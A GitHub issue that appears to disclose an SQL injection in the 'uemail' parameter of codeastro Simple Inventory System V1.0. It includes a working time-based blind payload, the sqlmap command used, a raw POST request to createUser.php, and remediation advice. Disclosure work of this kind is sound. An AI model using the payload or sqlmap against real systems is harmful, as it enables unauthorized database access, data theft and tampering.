Skip to content

codeastro Simple Inventory System V1.0 /SimpleInventorySystem-PHP/user.php SQL injection #53

@yihaofuweng

Description

@yihaofuweng

codeastro Simple Inventory System V1.0 /SimpleInventorySystem-PHP/user.php SQL injection

NAME OF AFFECTED PRODUCT(S)

  • Simple Inventory System

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • zhanghw

Vulnerable File

  • /SimpleInventorySystem-PHP/user.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • SQL injection

Root Cause

  • A SQL injection vulnerability was found in the '/SimpleInventorySystem-PHP/user.php' file of the 'Simple Inventory System' project. The reason for this issue is that attackers inject malicious code from the parameter 'uemail' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

  • Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

  • During the security review of "Simple Inventory System",I discovered a critical SQL injection vulnerability in the "/SimpleInventorySystem-PHP/user.php" file. This vulnerability stems from insufficient user input validation of the 'uemail‘ parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

Vulnerability details and POC

Vulnerability lonameion:

  • 'uemail' parameter

Payload:

---
Parameter: MULTIPART uemail ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ------WebKitFormBoundaryNxgf7uzLuoNIaP2z
Content-Disposition: form-data; name="userName"

123
------WebKitFormBoundaryNxgf7uzLuoNIaP2z
Content-Disposition: form-data; name="upassword"

123
------WebKitFormBoundaryNxgf7uzLuoNIaP2z
Content-Disposition: form-data; name="uemail"

[email protected]' AND (SELECT 8480 FROM (SELECT(SLEEP(5)))QbIX) AND 'OzBV'='OzBV
------WebKitFormBoundaryNxgf7uzLuoNIaP2z--

---


---

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

sqlmap -r 1.txt --batch  -p uemail

POST /SimpleInventorySystem-PHP/php_action/createUser.php HTTP/1.1
Host: 192.168.60.130
Content-Length: 345
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNxgf7uzLuoNIaP2z
Origin: http://192.168.60.130
Referer: http://192.168.60.130/SimpleInventorySystem-PHP/user.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=htap49j84f3bdd2tinf4bqus57
Connection: keep-alive

------WebKitFormBoundaryNxgf7uzLuoNIaP2z
Content-Disposition: form-data; name="userName"

123
------WebKitFormBoundaryNxgf7uzLuoNIaP2z
Content-Disposition: form-data; name="upassword"

123
------WebKitFormBoundaryNxgf7uzLuoNIaP2z
Content-Disposition: form-data; name="uemail"

[email protected]
------WebKitFormBoundaryNxgf7uzLuoNIaP2z--






Image

Suggested repair

  1. Use prepared statements and parameter binding:
    Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

  2. Input validation and filtering:
    Strictly validate and filter user input data to ensure it conforms to the expected format.

  3. Minimize database user permissions:
    Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

  4. Regular security audits:
    Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions